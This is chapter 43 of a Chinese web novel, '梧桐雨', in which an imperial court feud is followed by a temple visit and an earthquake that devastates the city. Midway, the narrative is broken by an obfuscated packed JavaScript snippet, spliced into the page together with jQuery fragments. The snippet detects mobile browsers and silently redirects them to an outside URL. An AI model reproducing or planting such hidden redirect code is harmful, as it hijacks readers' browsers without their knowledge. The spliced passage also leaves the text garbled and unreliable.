43. 地动
作品:《梧桐雨》 萧惇自登基以来,在朝中日渐威严,也越来越薄情寡义。他与萧明德被比较着长大,自幼见不得萧明德比他强。
心眼就是针尖大小的,萧惇即位后,更是处处打压着萧明德,对庆王萧琮也多有不敬。
朝会上,有御史弹劾山东按察副使张复初孝期喝鸡汤一事。萧琮一向谨慎持重,但也偏帮着说了两句,不外是张复初赈灾有功,累极生病,需要进补,区区小事,何必上攀纲常、下究苛理?
萧惇在文武百官面前,斥骂萧琮倚老卖老、不知尊卑、不知分寸。
萧琮当殿受到这等斥责,气得面色铁青,若是先帝,萧琮必定是要骂回去的。
萧惇不一样,他心性狭隘,刚坐稳皇位,急于杀鸡给猴看。
总不能让朝臣看叔侄互斗?萧琮为了大局,忍了这口恶气,心里越发厌恶皇帝的做派。
为了平衡各门勋贵的势力,如今萧惇的后宫嫔妃成群。萧惇忌惮庆王府,可是外戚势大,很多事情上,他也是要退让一步的。
龙潜之时,这些勋贵世家确实是扶持有功。如今坐稳了龙椅,萧惇岂能容忍他们尾大不掉?他铁了心要削弱各家的势力。
自古以来,朝中的任何一个官员,爬到那个位置上,是非常不容易的。但是你想要他从那个位置上再下来,更是难上加难!
萧惇寡情,他已经坐到最尊贵的那把椅子上,是不会心慈手软的。他不会在意文武百官的,更何况是寻常百姓?
萧惇的眼中只有生杀大权。
万千黎民,不过是尘埃!不过是蝼蚁!
“虽说是‘普天之下,莫非王土’,天子为天下共主,四海之内皆归王化。但是,天下不是他一个人的天下,也是天下人的天下。”智源两道眉毛耷拉下来,“当年陛下潜龙在渊之时,虽然好财了些,却也知道民间疾苦。如今贵为天子,反倒听不进诤言,动辄大兴土木,迁怒臣工,驱逐谏官,这性子与先帝实在是大不相同!”
“先帝在时,他即便是心中不情愿,面上也要做足样子。如今无人辖制住他,可不就撒开手脚随心妄为了?”萧明德唤棠妙卿上前:“不说这些了。今儿个带她过来,就是让你们二位见见。往后若见了她,就如见了我一般,还望二位大师多加照拂。”
只是一个小娘子罢了,真没想到在小王爷心中占这样的分量!智源笑道:“棠姑娘,请近前来。”
棠妙卿瞧了萧明德一眼,他点点头。
棠妙卿笑着走到他三步开外,屈膝行礼。
智源忙笑着,连连道:“不敢当,姑娘太客气了。”仔细打量了她一番,见她印堂开阔,目若明珠,神采飞扬,对着萧明德笑道,“小小年纪,怎地还思虑过重?”
萧明德只说道:“她母亲年前仙逝,想来是心中无法释怀的缘故。”
智源为人狷介,反倒哄小孩子似的对棠妙卿道,“往后你要敞开心思,每日站桩,强身健体才好。别学他们萧家人,乱吃乱喝,好端端的身子都折腾坏了。”
先帝沉迷丹药,如今的萧惇也让人寻些灵丹妙药进补。看来大师对皇家还是颇有微词的,棠妙卿抿嘴一笑:“多谢大师教诲。”
净源虽说久居山门之内,却是大相国寺的掌舵人,为人心思缜密,处事圆滑。他笑着道:“我这里有一串沉水香数珠,姑娘若是不嫌弃,便拿去玩吧。”
说罢,便起身,拉开门唤来一个小沙弥,叮嘱两句。过了不一会儿,小沙弥捧着一个托盘进来,托盘锦缎之上静卧着沉水手串,共一百零八颗珠子,色泽沉郁,隐有暗香。每隔数十颗便有翡翠垫片,末端坠着一枚蜜蜡貔貅,玲珑可爱。
棠妙卿推辞道:“这沉水香珠太贵重了,大师厚爱,实不敢受。”
不能净源开口,萧明德已笑道:“你只管收着!他向来小气得很,难得今日大方一回。他又不是外人,你若是不要,倒妨碍我俩的交情了。”
净源对着智源哈哈大笑:“小王爷当着师兄与棠姑娘的面,就开始编排我的不是了。”转头对棠妙卿道,“姑娘快收下吧,还不知道他能说出什么不用听的话来。”
棠妙卿忙双手接过,净源心中越发欢喜。
这也是攀上一棵滔天巨树了!
说了一会儿话,萧明德起身告辞:“我们也该回了。太妃娘娘赏赐寺内僧众绫罗百匹,又赏给了些银钱。我寻思着,你们大相国寺香火鼎盛,不差银子。我就做主,绫罗留给你们,至于银子,就以大相国寺的名义,捐给慈幼局了。”
我家的银子,赏给了你们大相国寺,还得被萧惇要了去,这怎么能行?
智源大师哈哈大笑:“小王爷菩萨心肠,我等岂有不从之理?”
净源故作恼火:“我这串珠子,难道还抵不上小王爷几贯银钱?”话没说完,自己也笑了。
萧明德走在前头,笑道:“你们两位也回吧,不用送出门了。”
出了禅房,门外阳光正好,萧明德回头还想再叮嘱两句,忽觉脚下一晃。
他愣了一下,以为自己站不稳,刚要开口,就看到棠妙卿脸色大变,智源大师和净源也停下了脚步。
远处传来隐隐的“嗡嗡”声,像是地底下有雷鸣。一位洒扫的小沙弥还在傻笑:“咦,我怎么晃了一下?必定是早上的斋饭没吃饱,饿得头晕了。”
话音未落,地面猛地一颤!
众人齐齐色变!
大地晃动起来,寺庙屋顶上的瓦片哐当当砸在地上,檐角挂着的铜铃也开始摇摆。
佛龛前的供果滚落满地,香炉翻倒,香灰四散。
不知道是哪座偏殿的屋顶塌了,有僧人香客惊叫着四处乱跑。
净源厉声喝道:“地动了!都别慌!快,都快去空旷处待着!”
棠妙卿只觉得左右摇晃,天旋地转的,无论是脚下怎么着用力,都站不稳。
萧明德眼疾手快,一把将她护在怀中:“别怕!一会儿就过去了!”
香客中有妇人尖叫着,孩童哭喊着,僧人们也乱作一团。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583708|186233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
棠妙卿站立不稳,萧明德反手揽住她的腰,几乎是半抱着她往前走。
头顶上又有瓦片掉落,萧明德将棠妙卿护在怀中,碎瓦砸到额角,溅落二人一身,他闷哼一声。
棠妙卿急道:“小王爷,你怎么样?”
萧明德看一眼四周,摇摇头:“没伤着,不碍事。”
萧明德拉着棠妙卿,踉跄着跑到大雄宝殿前的空旷处,大地也已经停止摇晃了。
只见棠妙卿伸手去摸他的头,萧明德“嘶”了一声,还有心情逗她:“你一个姑娘家,男人的头是能随便摸的?”
头上被砸的肿了,破了皮,倒是没有出血。
萧明德垂头看她,一脸的泪水,不知道是吓得,还是心疼他:“不过是擦破点皮,不打紧。”擦一把她脸上的泪水,“你呢?可有哪里伤到了?”
棠妙卿摇摇头,哽咽道:“我没事……”
二人灰头土脸,放眼望去,僧众香客聚集过来,一个个都是惊魂未定。
桃柯与持弓等人本在寮房中等候,此时也都跑了出来。
萧明德还在给棠妙卿拍打衣裳上的落灰,桃柯一把将她抱过来,从头摸到脚:“姑娘,你伤到了没有?真真是吓死我了!”
萧明德怀中一空。他冷眼看着桃柯,从来都没有眼色!
桃柯见棠妙卿无事,松了一口气,抬手给她理好鬓发。棠妙卿抬眼,怔怔地看着萧明德,没有谁像陆氏一样护佑着她了,除了今日的萧明德!
净源带着僧众在清点人数,查看各处大殿的损毁。要安抚上香的香客,有伤到的,自有僧医去救治。还要派人去城内外看看,有百姓房屋倒塌,无家可归的,寺内也要暂时收留。
萧明德看着满目狼藉的寺院,脸色不好,城内人多,只怕更加混乱。
二人辞了智源等人,匆匆回城。
睦亲坊内多是达官显贵,府邸建得坚固,倒是还好些。
其他坊市之中,又是一番光景了。
街边店铺的招牌歪了,酒旗斜倒,木杆子断成了两截。
有人家院落的土墙坍塌,能看到院子里缸碎水泼,一地狼藉。一家子在废墟中翻找,想来是要找出一些还能用的家当。
不远处,几个人正合力抬一根断梁,底下压着个人,看样子是伤到了大腿。
抱着孩子的妇人,手忙脚乱地护着怀中婴孩,也在哭。
一路行来,到处是哭声、叫声、呻吟声……
棠妙卿看着车外,心急手抖,头一回经历地动,到底是害怕。
不知道绣坊里怎么样了,她撩开车帘,对萧明德道:“小王爷,我要去众安桥那边,芸绣轩不知道怎么样了,我得去看看。”
萧明德长吁一口气,看向她,劝道:“你得先回家看看家中长辈。”转头对何一唯吩咐,“你带上人跟着姑娘,护好她的安危。待她办完事,你再回王府复命。”
说罢,深深看了一眼棠妙卿,心内一声叹息,领着人马匆匆离去。

